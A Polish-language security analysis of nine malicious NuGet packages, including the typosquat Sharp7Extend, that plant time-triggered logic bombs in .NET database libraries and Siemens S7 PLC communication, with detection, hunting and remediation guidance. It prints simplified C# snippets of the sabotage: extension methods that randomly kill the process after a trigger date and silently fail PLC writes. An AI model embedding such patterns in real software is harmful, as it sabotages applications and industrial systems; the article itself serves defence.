
Co znajdziesz w tym artykule?
- 1 Wprowadzenie do problemu / definicja luki
- 2 W skrócie
- 3 Kontekst / historia / powiązania
- 4 Analiza techniczna / szczegóły luki
- 5 Praktyczne konsekwencje / ryzyko
- 6 Rekomendacje operacyjne / co zrobić teraz
- 7 Różnice / porównania z innymi przypadkami
- 8 Podsumowanie / kluczowe wnioski
- 9 Źródła / bibliografia
Wprowadzenie do problemu / definicja luki
Badacze wykryli dziewięć złośliwych pakietów NuGet, które dostarczają opóźnione w czasie ładunki sabotażowe („logic bombs”). Pakiety udają w pełni działające biblioteki do dostępu do baz danych (SQL Server, PostgreSQL, SQLite), a jeden — Sharp7Extend — celuje w środowiska przemysłowe, modyfikując komunikację z PLC z rodziny Siemens S7. Po spełnieniu warunków czasowych kod losowo ubija proces aplikacji lub po cichu sabotuje operacje zapisu, przez co incydenty wyglądają jak losowe awarie albo błędy sprzętu. Źródłem informacji jest m.in. szczegółowa analiza Socket i artykuły branżowe, które opisały skalę i techniki ataku.
W skrócie
- Wejście: pakiety opublikowane w latach 2023–2024 pod aliasem
shanhai666na NuGet, łącznie ~9,5 tys. pobrań. - Cel: aplikacje .NET wykorzystujące biblioteki repozytoriów DB i środowiska ICS/OT korzystające z komunikacji S7. Sharp7Extend podszywa się pod ekosystem Sharp7 (legalna biblioteka), by trafić do inżynierów automatyki.
- Mechanizm: metoda rozszerzająca (C# extension methods) wstrzykuje logikę sprawdzania dat-wyzwalaczy; po ich przekroczeniu z prawdopodobieństwem ~20% wykonywane jest
Process.Kill(); w ICS dodatkowo 80% „niemego” niepowodzenia zapisu po 30–90 minutach od startu. - Oś czasu: wyzwalacze ustawione m.in. na 8 sierpnia 2027 i 29 listopada 2028; Sharp7Extend działa natychmiast aż do 6 czerwca 2028.
- Status: zgłoszono do NuGet; media branżowe donoszą o usuwaniu i śledztwie.
Kontekst / historia / powiązania
Ataki na łańcuch dostaw pakietów (npm, PyPI, NuGet) wykorzystują typosquatting, mieszanie legalnego i złośliwego kodu oraz „bombki” czasowe, by wydłużyć dwell time. Tutaj napastnik dostarczył 99% funkcjonalnego kodu zgodnego z wzorcami repozytorium/Unit of Work/LINQ, aby przejść code-review i testy smoke, a tylko ~20 linii realizuje sabotaż. Taka hybryda znacznie opóźnia wykrycie i utrudnia dochodzenie po latach.
Analiza techniczna / szczegóły luki
1) Wstrzyknięcie przez extension methods
Złośliwe pakiety dodają „przezroczyste” metody rozszerzające do typów poleceń DB i klienta S7 — np. .Exec() lub .BeginTran() — które wołają się przy każdym zapytaniu/operacji. Dzięki temu logika sabotażu wykonuje się w gorących ścieżkach I/O bez zmian w kodzie aplikacji:
public static class SqlCommandExtend {
static int y = 2027, m = 8, d = 8; // trigger: 2027-08-08
public static SqlCommand Exec(this SqlCommand cmd) {
if (DateTime.Now > new DateTime(y, m, d) && new Random().Next(1, 100) > 80) {
Process.GetCurrentProcess().Kill(); // losowe ubicie procesu (~20%)
}
return cmd;
}
}
W wariantach dla PostgreSQL/SQLite data jest zapisana jako znacznik czasu UNIX (np. 2028-11-29 11:18:48.479 UTC).
2) Sharp7Extend — sabotaż ICS (S7)
- Natychmiastowy mechanizm
Process.Kill()aktywny do 2028-06-06 (odwrócona logika daty). - Filtr „wyniku” zapisu w S7, który po losowym 30–90-min okienku łaski zaniża rezultat do
0w ~80% przypadków, powodując ciche, częściowe nieskuteczne zapisy do PLC (aktuatory nie otrzymują poleceń, parametry nie są modyfikowane).
Poniżej uproszczony wzorzec sabotażu zapisu:
public static class ResFilter {
public static int Filter(this int res) {
if (DateTime.Now < BootTimePlusRandom30to90min) return res; // działa w testach
return new Random().Next(1, 100) < 20 ? res : 0; // 80% "niemych" porażek
}
}
Te mechanizmy imitują flapping sieci, EMI, usterki sterownika czy „złe receptury” – dokładnie to, co utrudnia korelację z biblioteką.
3) Typosquatting i „fałszywe poczucie bezpieczeństwa”
Sharp7Extend dołącza niezmodyfikowaną, legalną bibliotekę Sharp7 (np. 1.1.79) i rzeczywiście umożliwia komunikację S7, co uwiarygadnia pakiet. Oficjalny Sharp7 w NuGet/GitHub jest legalny; „Extend” to podszycie.
4) Daty-wyzwalacze & probabilistyka
- DB: 2027-08-08 oraz 2028-11-29 (różne implementacje).
- ICS: aktywny od razu do 2028-06-06.
- Prawdopodobieństwo ~20% na operację szybko daje quasi-pewną awarię w systemach o wysokim QPS/OPS, ale nieregularność utrudnia RCA.
Praktyczne konsekwencje / ryzyko
- Aplikacje transakcyjne: sporadyczne ubicia procesu podczas zapytań → przerwane transakcje, uszkodzenie sesji, utrata koszyków, restart puli.
- Bezpieczeństwo danych: niezamierzone rollbacki, niekonsekwentne zapisy, widoczność „ghost writes”.
- ICS/OT: ciche nieskuteczne zapisy do PLC → niezałączone zabezpieczenia, złe nastawy, ryzyko jakości/bezpieczeństwa pracy linii. Media branżowe niezależnie potwierdzają cele DB+ICS oraz daty 2027/2028.
Rekomendacje operacyjne / co zrobić teraz
0) Zakres incydentu i kryteria ryzyka
Traktuj każdy projekt .NET z zależnościami publikowanymi/aktualizowanymi 2023–2024 jako potencjalnie ekspozycyjny, ze szczególną ostrożnością dla aplikacji przemysłowych/SCADA/MES/Historian.
1) Szybki triage — znajdź i odetnij pakiety
Enumeracja pakietów w repo i hostach:
# w repo: wszystkie odwołania do nuget.org
grep -R "PackageReference Include" -n .
# lista zainstalowanych pakietów w projekcie/solucji
dotnet list package --include-transitive
# sprawdzenie globalnego cache NuGet na hostach buildowych
# Windows (PowerShell)
Get-ChildItem "$env:USERPROFILE\.nuget\packages" -Depth 2 | Select-Object FullName
# Linux
find ~/.nuget/packages -maxdepth 2 -type d -print
Skan wzorców „extension method injection”:
# proste heurystyki (repo)
grep -R "static class .*Command.*Extend" -n .
grep -R "this SqlCommand" -n .
grep -R "Process.GetCurrentProcess().Kill" -n .
grep -R "DateTimeHelper.UnixTimestampToDateTime" -n .
grep -R "ConfigurationManager.AppSettings\\[\"st\"\\]" -n .
Blokada źródła:
- Pinning do allowlist (scoped registries), wewnętrzne mirror’y, pakiety podpisane.
- W CI zablokuj rozwiązywanie spoza mirror’a:
NUGET_PACKAGES,restoreSources.
Przykładowe nuget.config (pinning):
<configuration>
<packageSources>
<clear />
<add key="corp-mirror" value="https://nuget.corp.local/v3/index.json" />
</packageSources>
<trustedSigners>
<author name="CorpReleaseKey">
<certificate fingerprint="AB CD EF ..." hashAlgorithm="SHA256" allowUntrustedRoot="false" />
</author>
</trustedSigners>
</configuration>
2) Detekcja runtime / telemetry hunting
.NET (ETW/PerfView/Defender for Endpoint kusto):
DeviceProcessEvents
| where InitiatingProcessFileName endswith ".exe"
| where FileName has_any ("w3wp.exe","dotnet.exe","MyApp.exe")
| where ProcessCommandLine has "Process.GetCurrentProcess().Kill"
or ProcessCommandLine has "System.Diagnostics.Process.Kill"
Anomalia „losowych restartów” po zapytaniach DB:
- Koreluj
SqlClienterror’y / brak logs zKill(). - W aplikacjach ICS: wzrost „write succeeded=false / result=0” bez błędów.
AppLocker/WDAC: blokuj niezaufane DLL z cache NuGet per hash/ścieżka.
EDR: utwórz reguły anomalii na Process.Kill() wywoływane przez procesy serwerowe .NET.
3) Usuwanie i weryfikacja integralności
- Usuń zainfekowane pakiety z repo i lockfile’y; wymuś
dotnet nuget locals all --clearna build-agentach i serwerach. - Rebuild + redeploy z czystego cache.
- Testy regresji z naciskiem na „długie” scenariusze (≥2h) i wysoki QPS.
- ICS: włącz odczyt zwrotny po zapisie do PLC i alarmuj niekonsekwencje.
4) Hardening łańcucha dostaw
- SBOM (np.
dotnet list package --include-transitive > sbom.txt; CycloneDX dla .NET). - Pinned versions + obowiązkowa reputacja (autor/maintainer, GitHub stars/issues, historia CVE).
- Policy: zakaz użycia pakietów o małej historii/bez maintainerów; przegląd kodu dla „nowych autorów”.
- Skany SCA z regułami niestandardowymi (heurystyki extension methods,
Process.Kill()).
5) IOC / nazwy pakietów do bloku
Na bazie publikacji: MyDbRepository, MCDbRepository, Sharp7Extend, SqlDbRepository, SqlRepository, SqlUnicornCoreTest, SqlUnicornCore, SqlUnicorn.Core, SqlLiteRepository. (Zestaw raportowany w źródłach branżowych.)
Różnice / porównania z innymi przypadkami
- npm/PyPI — zwykle szybkie kradzieże sekretów/telemetrii; tu mamy opóźniony, destrukcyjny ładunek i probabilistykę, by utrudnić RCA.
- NuGet-specyficzne — cięższe biblioteki .NET, częsty brak sandboxingu, głęboka integracja z ORM/ADO.NET oraz środowiskami przemysłowymi .NET/Win.
- ICS — celowane typosquatting w ekosystem Sharp7; potwierdzenie, że legalny Sharp7 jest osobnym, poprawnym projektem open-source.
Podsumowanie / kluczowe wnioski
- Atak łączy realną funkcjonalność z niewielką „bombą” czasową, co daje długie, ciche „zasianie” u ofiar.
- Extension methods to idealny nośnik sabotażu w .NET — przechodzą przez testy i code review.
- Organizacje powinny priorytetowo: inwentaryzować, odciąć, odbudować z czystych źródeł, a następnie wprowadzić mirror + podpisy + SBOM + custom SCA rules.
- Środowiska ICS/OT szczególnie narażone: weryfikacja zapisu przez odczyt i testy długotrwałe to must-have.
Niezależne źródła potwierdzają daty-wyzwalacze i target DB/ICS, co pozwala na precyzyjny threat model i priorytetyzację.
Źródła / bibliografia
- Socket — „9 Malicious NuGet Packages Deliver Time-Delayed Destructive Payloads” (analiza techniczna, fragmenty kodu, daty-wyzwalacze). (Socket)
- The Hacker News — „Hidden Logic Bombs in Malware-Laced NuGet Packages…” (lista pakietów, kontekst). (The Hacker News)
- BleepingComputer — „Malicious NuGet packages drop disruptive ‘time bombs’” (potwierdzenie scenariuszy i celów). (BleepingComputer)
- The Register — „Crims plant time bomb malware in industrial .NET extensions” (status usuwania pakietów). (The Register)
- Projekt Sharp7 (legalna biblioteka S7; odróżnienie od typosquata „Sharp7Extend”). (GitHub)